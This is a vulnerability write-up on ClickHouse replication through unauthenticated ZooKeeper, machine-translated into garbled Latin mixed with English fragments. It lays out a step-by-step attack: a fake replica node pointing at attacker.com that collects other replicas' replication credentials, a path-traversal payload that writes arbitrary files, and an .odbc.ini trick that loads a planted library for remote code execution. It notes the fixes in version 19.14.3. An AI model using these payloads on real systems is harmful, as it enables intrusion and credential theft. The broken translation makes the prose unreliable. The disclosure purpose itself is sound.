Hic articulus fabulam de valde specifica vulnerabilitate in protocollo replicationis ClickHouse narrabit et quomodo impetus superficiei dilatari potest.
ClickHouse database ad magnas notitiarum volumina condendum est, frequentius pluribus quam una imagine utens. Clustering and replication in ClickHouse are built on top
Default ZK institutionem authenticas non requirit, itaque milia servorum ZK ad configuranda Kafka, Hadoop, ClickHouse publice praesto sunt.
Ad superficiem oppugnationis reducere, semper authenticas et auctoritatis configurare debes cum inaugurari ZooKeeper
Sunt sane quaedam 0day subnixa Javae deserializations, sed fingunt oppugnatorem posse legere et scribere ad ZooKeeper, replicationibus strepitibus adhibitis.
Cum in botro modo figuratus, ClickHouse subsidia quaesita distribuit /clickhouse/task_queue/ddl
.
Exempli gratia, nodi creas /clickhouse/task_queue/ddl/query-0001
with content;
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
et postea, mensa probata delebitur in botro servientibus host1 et host2. DDL etiam cursus CRE/ALTER/ORO queries sustinet.
Integer FORMIDULOSUS? Sed ubi oppugnator potest servo alloqui?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
lymphaticorum ut creatus est columnas ΠΈ metadata.
Summa /clickhouse/tables/01/foobar/replicas/chXX/hospes:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Potestne data ex hoc botro iungi? Etiam, si portum replicatio (TCP/9009
) In server chXX-address
murus ignis non claudetur et authenticas replicationis non configurabitur. Quomodo authenticas praeterire?
Oppugnator novam effigiem in ZK creare potest ex argumentis simpliciter describendis /clickhouse/tables/01-01/foobar/replicas/chXX
et mutantur significatio host
.
Summa /clickhouse/tables/01-01/foobar/replicas/oppugnator/exercitus:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Tunc aliis replicas narrare debes esse novum scandalum notitiae in servo oppugnatoris quod capere oportet - nodi in ZK creatum est. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotonice contra crescens, qui debet esse maior quam ultimus in eventu stipes);
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
quibus source_replica - nomen imaginis oppugnatoris superiore gradu creatum est, block_id - data scandalum identifier; ut - "obstructionum adepto" imperium (and
Deinde quaevis replica legit novum eventum in ligno et servo regitur ab oppugnatore ad truncum notitiarum recipiendum (replicatio protocolli est binarii super HTTP accurrens). Servo attacker.com
petitiones accipiet:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
ubi XXX est authentica notitia replicationis. In quibusdam casibus haec ratio potest esse cum accessu ad database per principale protocollum ClickHouse et protocollum HTTP. Ut vidisti, impetus superficiei critico grandis fit, quia ZooKeeper, propter replicationem usus, sine authenticis conformatus relictus est.
Intueamur munus accipiendi truncum notitiarum ex imagine, plena fiducia scriptum est omnes replicationes sub propria potestate esse et inter eas confidere.
replicatio processus codice
Munus indicem tabularum legit, deinde nomina, amplitudines, contenta, et deinde eas tabellarum ratio scribit. Operae pretium est seorsim describere quomodo notitia in tabella systematis reposita sit.
Plures subdirectoriae in /var/lib/clickhouse
(default storage Directory ex configuration file):
proficiscentur - Directory for recording
tmp - directorium ad tempus reponenda lima;
user_files β operationes cum scriniis in petitionibus huic directorio limitatae sunt (IN OUTFILE et alii);
metadata β sql fasciculi cum descriptionibus tabularum;
preprocessed_configs - discursum inde configurationis files e /etc/clickhouse-server
;
Data - directorium actuale cum ipsa notitia, hoc in casu pro unoquoque datorum subdirectorium separatum hic simpliciter creatum est (exempli gratia /var/lib/clickhouse/data/default
).
Pro unaquaque mensa subdirectorium creatur in directorio datorum. Quisque columna fasciculus separatus fretus est
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replica exspectat limam iisdem nominibus recipere cum truncum datorum dispensando nec ullo modo convalescit.
Lector attentus probabiliter iam audivit de file_name in functione non tuta concatenationem WriteBufferFromFile
. Ita, hoc permittit impugnatorem ad contenta arbitraria scribere cuilibet fasciculi in FS cum iuribus usoris clickhouse
. Ad hoc, replicatio ab oppugnante regenda reddere debet sequentem responsionem petitioni (linea breaka additae sunt pro facilitate intellectus);
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
et post concatenationem ../../../../../../../../../tmp/pwned
tabella erit scriptum /tmp/pwned cum contentus hellofromzookeeper.
Plures exstant optiones tabellae scribendi facultatem in remoto codice exsecutionis convertendi (RCE).
Dictionaria externa in RCE
In vetustioribus versionibus, directorium cum uncinis ClickHouse repositum est cum iuribus usoris clickhouse defaltam. Occasus fasciculi sunt XML fasciculi qui ministerium legit in startup et deinde in cella /var/lib/clickhouse/preprocessed_configs
. Cum mutationes fiunt, re- lecta sunt. Si aditus ad /etc/clickhouse-server
inimicus potest creare suum root
.
ODBC ad RCE
Cum inaugurari sarcina, a user creatur clickhouse
, sed directorium domus eius non est creatum /nonexistent
. Tamen, cum dictionariis externis utens vel aliis de causis administratores directorium creant /nonexistent
et in user clickhouse
accessum ad scribendum esse (SSZB! proxime. translator).
ClickHous subsidiis odbc-bridge
, ideo iam non potest iter ab instantia exactoris specificare. Sed potestne oppugnator scribere ad domum directorium utens vulnerabilitate supra descripto?
Faciamus lima ~/.odbc.ini
contenti sic:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
cetero startup SELECT * FROM odbc('DSN=lalala', 'test', 'test');
bibliothecam onerari test.so
et accepit RCE (gratias
Hae et aliae vulnerabilities in versione strepita 19.14.3 fixae sunt. Curam tuam ClickHouse et ZooKeepers!
Source: www.habr.com